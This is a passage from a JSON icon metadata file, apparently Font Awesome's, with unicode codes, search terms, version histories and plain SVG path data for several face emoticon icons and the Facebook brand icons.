        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zm240 80c0-8.8 7.2-16 16-16c45 0 85.6 20.5 115.7 53.1c6 6.5 5.6 16.6-.9 22.6s-16.6 5.6-22.6-.9c-25-27.1-57.4-42.9-92.3-42.9c-8.8 0-16-7.2-16-16zm-80 80c-26.5 0-48-21-48-47c0-20 28.6-60.4 41.6-77.7c3.2-4.4 9.6-4.4 12.8 0C179.6 308.6 208 349 208 369c0 26-21.5 47-48 47zM367.6 208a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm-192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zm240 80c0-8.8 7.2-16 16-16c45 0 85.6 20.5 115.7 53.1c6 6.5 5.6 16.6-.9 22.6s-16.6 5.6-22.6-.9c-25-27.1-57.4-42.9-92.3-42.9c-8.8 0-16-7.2-16-16zm-80 80c-26.5 0-48-21-48-47c0-20 28.6-60.4 41.6-77.7c3.2-4.4 9.6-4.4 12.8 0C179.6 308.6 208 349 208 369c0 26-21.5 47-48 47zM367.6 208a32 32 0 1 1 -64 0 32 32 0 1 1 64 0zm-192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M175.9 448c-35-.1-65.5-22.6-76-54.6C67.6 356.8 48 308.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208s-93.1 208-208 208c-28.4 0-55.5-5.7-80.1-16zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM128 369c0 26 21.5 47 48 47s48-21 48-47c0-20-28.4-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0C156.6 308.6 128 349 128 369zm128-65c-13.3 0-24 10.7-24 24s10.7 24 24 24c30.7 0 58.7 11.5 80 30.6c9.9 8.8 25 8 33.9-1.9s8-25-1.9-33.9C338.3 320.2 299 304 256 304zm47.6-96a32 32 0 1 0 64 0 32 32 0 1 0 -64 0zm-128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M175.9 448c-35-.1-65.5-22.6-76-54.6C67.6 356.8 48 308.7 48 256C48 141.1 141.1 48 256 48s208 93.1 208 208s-93.1 208-208 208c-28.4 0-55.5-5.7-80.1-16zM0 256a256 256 0 1 0 512 0A256 256 0 1 0 0 256zM128 369c0 26 21.5 47 48 47s48-21 48-47c0-20-28.4-60.4-41.6-77.7c-3.2-4.4-9.6-4.4-12.8 0C156.6 308.6 128 349 128 369zm128-65c-13.3 0-24 10.7-24 24s10.7 24 24 24c30.7 0 58.7 11.5 80 30.6c9.9 8.8 25 8 33.9-1.9s8-25-1.9-33.9C338.3 320.2 299 304 256 304zm47.6-96a32 32 0 1 0 64 0 32 32 0 1 0 -64 0zm-128 32a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-smile": {
    "aliases": {
      "names": ["smile"],
      "unicodes": {
        "composite": ["1f642"],
        "secondary": ["10f118"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.0.9",
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "approve",
        "emoticon",
        "face",
        "happy",
        "rating",
        "satisfied",
        "slightly smiling face",
        "smile"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f118",
    "label": "Face Smile",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      },
      "regular": {
        "last_modified": 1684767582,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm192-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-smile-beam": {
    "aliases": {
      "names": ["smile-beam"],
      "unicodes": {
        "composite": ["1f60a"],
        "secondary": ["10f5b8"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "blush",
        "emoticon",
        "eye",
        "face",
        "happy",
        "positive",
        "smile",
        "smiling face with smiling eyes"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5b8",
    "label": "Face Smile Beam",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zm53.5-96.7l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zm53.5-96.7l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zm40-89.3l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zm40-89.3l0 0 0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0zm160 0l0 0-.2-.2c-.2-.2-.4-.5-.7-.9c-.6-.8-1.6-2-2.8-3.4c-2.5-2.8-6-6.6-10.2-10.3c-8.8-7.8-18.8-14-27.7-14s-18.9 6.2-27.7 14c-4.2 3.7-7.7 7.5-10.2 10.3c-1.2 1.4-2.2 2.6-2.8 3.4c-.3 .4-.6 .7-.7 .9l-.2 .2 0 0 0 0 0 0c-2.1 2.8-5.7 3.9-8.9 2.8s-5.5-4.1-5.5-7.6c0-17.9 6.7-35.6 16.6-48.8c9.8-13 23.9-23.2 39.4-23.2s29.6 10.2 39.4 23.2c9.9 13.2 16.6 30.9 16.6 48.8c0 3.4-2.2 6.5-5.5 7.6s-6.9 0-8.9-2.8l0 0 0 0 0 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-smile-wink": {
    "aliases": {
      "names": ["smile-wink"],
      "unicodes": {
        "composite": ["1f609"],
        "secondary": ["10f4da"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "happy",
        "hint",
        "joke",
        "wink",
        "winking face"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f4da",
    "label": "Face Smile Wink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.1 325.5C182 346.2 212.6 368 256 368s74-21.8 91.9-42.5c5.8-6.7 15.9-7.4 22.6-1.6s7.4 15.9 1.6 22.6C349.8 372.1 311.1 400 256 400s-93.8-27.9-116.1-53.5c-5.8-6.7-5.1-16.8 1.6-22.6s16.8-5.1 22.6 1.6zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm156.4 25.6c-5.3 7.1-15.3 8.5-22.4 3.2s-8.5-15.3-3.2-22.4c30.4-40.5 91.2-40.5 121.6 0c5.3 7.1 3.9 17.1-3.2 22.4s-17.1 3.9-22.4-3.2c-17.6-23.5-52.8-23.5-70.4 0z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm177.6 62.1C192.8 334.5 218.8 352 256 352s63.2-17.5 78.4-33.9c9-9.7 24.2-10.4 33.9-1.4s10.4 24.2 1.4 33.9c-22 23.8-60 49.4-113.6 49.4s-91.7-25.5-113.6-49.4c-9-9.7-8.4-24.9 1.4-33.9s24.9-8.4 33.9 1.4zM144.4 208a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zm165.8 21.7c-7.6 8.1-20.2 8.5-28.3 .9s-8.5-20.2-.9-28.3c14.5-15.5 35.2-22.3 54.6-22.3s40.1 6.8 54.6 22.3c7.6 8.1 7.1 20.7-.9 28.3s-20.7 7.1-28.3-.9c-5.5-5.8-14.8-9.7-25.4-9.7s-19.9 3.8-25.4 9.7z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-surprise": {
    "aliases": {
      "names": ["surprise"],
      "unicodes": {
        "composite": ["1f62e"],
        "secondary": ["10f5c2"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "emoticon",
        "face",
        "face with open mouth",
        "mouth",
        "open",
        "shocked",
        "sympathy"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5c2",
    "label": "Face Surprise",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM176.4 176a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.4-80a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm128 32a32 32 0 1 1 64 0 32 32 0 1 1 -64 0zM256 288a64 64 0 1 1 0 128 64 64 0 1 1 0-128z"
      }
    },
    "free": ["regular", "solid"]
  },
  "face-tired": {
    "aliases": {
      "names": ["tired"],
      "unicodes": {
        "composite": ["1f62b"],
        "secondary": ["10f5c8"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "angry",
        "emoticon",
        "face",
        "grumpy",
        "tired",
        "tired face",
        "upset"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f5c8",
    "label": "Face Tired",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.7 328.7c22-22 53.9-40.7 91.3-40.7s69.3 18.7 91.3 40.7c11.1 11.1 20.1 23.4 26.4 35.4c6.2 11.7 10.3 24.4 10.3 35.9c0 5.2-2.6 10.2-6.9 13.2s-9.8 3.7-14.7 1.8l-20.5-7.7c-26.9-10.1-55.5-15.3-84.3-15.3h-3.2c-28.8 0-57.3 5.2-84.3 15.3L149.6 415c-4.9 1.8-10.4 1.2-14.7-1.8s-6.9-7.9-6.9-13.2c0-11.6 4.2-24.2 10.3-35.9c6.3-12 15.3-24.3 26.4-35.4zm-31.2-182l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM164.7 328.7c22-22 53.9-40.7 91.3-40.7s69.3 18.7 91.3 40.7c11.1 11.1 20.1 23.4 26.4 35.4c6.2 11.7 10.3 24.4 10.3 35.9c0 5.2-2.6 10.2-6.9 13.2s-9.8 3.7-14.7 1.8l-20.5-7.7c-26.9-10.1-55.5-15.3-84.3-15.3h-3.2c-28.8 0-57.3 5.2-84.3 15.3L149.6 415c-4.9 1.8-10.4 1.2-14.7-1.8s-6.9-7.9-6.9-13.2c0-11.6 4.2-24.2 10.3-35.9c6.3-12 15.3-24.3 26.4-35.4zm-31.2-182l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      },
      "regular": {
        "last_modified": 1684767583,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.5 64.3C196.1 302.1 223.8 288 256 288s59.9 14.1 79.5 32.3C354.5 338.1 368 362 368 384c0 5.4-2.7 10.4-7.2 13.4s-10.2 3.4-15.2 1.3l-17.2-7.5c-22.8-10-47.5-15.1-72.4-15.1s-49.6 5.2-72.4 15.1l-17.2 7.5c-4.9 2.2-10.7 1.7-15.2-1.3s-7.2-8-7.2-13.4c0-22 13.5-45.9 32.5-63.7zm-43-173.6l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 256A208 208 0 1 0 48 256a208 208 0 1 0 416 0zM0 256a256 256 0 1 1 512 0A256 256 0 1 1 0 256zm176.5 64.3C196.1 302.1 223.8 288 256 288s59.9 14.1 79.5 32.3C354.5 338.1 368 362 368 384c0 5.4-2.7 10.4-7.2 13.4s-10.2 3.4-15.2 1.3l-17.2-7.5c-22.8-10-47.5-15.1-72.4-15.1s-49.6 5.2-72.4 15.1l-17.2 7.5c-4.9 2.2-10.7 1.7-15.2-1.3s-7.2-8-7.2-13.4c0-22 13.5-45.9 32.5-63.7zm-43-173.6l89.9 47.9c10.7 5.7 10.7 21.1 0 26.8l-89.9 47.9c-7.9 4.2-17.5-1.5-17.5-10.5c0-2.8 1-5.5 2.8-7.6l36-43.2-36-43.2c-1.8-2.1-2.8-4.8-2.8-7.6c0-9 9.6-14.7 17.5-10.5zM396 157.1c0 2.8-1 5.5-2.8 7.6l-36 43.2 36 43.2c1.8 2.1 2.8 4.8 2.8 7.6c0 9-9.6 14.7-17.5 10.5l-89.9-47.9c-10.7-5.7-10.7-21.1 0-26.8l89.9-47.9c7.9-4.2 17.5 1.5 17.5 10.5z"
      }
    },
    "free": ["regular", "solid"]
  },
  "facebook": {
    "aliases": {
      "unicodes": {
        "composite": ["f230"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": ["facebook-official", "social network"]
    },
    "styles": ["brands"],
    "unicode": "f09a",
    "label": "Facebook",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504 256C504 119 393 8 256 8S8 119 8 256c0 123.78 90.69 226.38 209.25 245V327.69h-63V256h63v-54.64c0-62.15 37-96.48 93.67-96.48 27.14 0 55.52 4.84 55.52 4.84v61h-31.28c-30.8 0-40.41 19.12-40.41 38.73V256h68.78l-11 71.69h-57.78V501C413.31 482.38 504 379.78 504 256z"
      }
    },
    "free": ["brands"]
  },
  "facebook-f": {
    "changes": ["5.0.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": ["facebook"]
    },
    "styles": ["brands"],
    "unicode": "f39e",
    "label": "Facebook F",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
